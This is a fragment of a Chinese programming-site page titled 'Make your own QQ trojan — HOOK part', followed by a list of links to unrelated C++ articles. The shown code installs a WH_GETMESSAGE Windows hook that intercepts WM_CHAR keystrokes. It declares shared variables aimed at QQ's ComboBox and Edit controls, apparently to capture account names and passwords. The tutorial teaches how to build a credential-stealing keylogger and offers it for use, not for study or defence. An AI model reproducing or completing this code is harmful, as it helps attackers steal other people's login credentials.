我爱Aspx >> VC.Net >> 自己动手做QQ木马-----HOOK篇 hhook2 = SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, g_hinstDll, dwThreadId);
WH_GETMESSAGE截取WM_CHAR消息,获取键盘输入。
下面是这两个钩子消息处理函数的代码:
HINSTANCE g_hinstDll = NULL; // instance handle
HWND g_hwndComboBox = NULL; //Handle of window to be monitored
HWND g_hwndEdit = NULL;
TCHAR g_lpszEditDump[32] = {0}; //键盘输入Edit控件的内容
BOOL g_fSingleEnter = true; //一次键盘输入POST两次WM_CHAR
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
#pragma data_seg("Shared")
HHOOK g_hhook1 = NULL; // Hook handle for thread-specific hook
HHOOK g_hhook2 = NULL;
const char g_classname1[] = "ComboBox";
const char g_classname2[] = "Edit"; //for class name you want to monitor
自己动手做QQ木马-----总序[05-21]
进程间的通讯实现(IPC)的11种方..[05-21]
C++深度探索系列:智能指针(Smar..[05-21]
使用strcpy的几点心得[05-21]
用MASK方法传送不规则位图[05-21]
vc调试经验[05-21]
Matt Austern : Defining Itera..[05-21]
C++深度探索系列:智能指针(Smar..[05-21]
Effective STL Item 43:优先使用..[05-21]
Effective STL Item 43:优先使用..[05-21]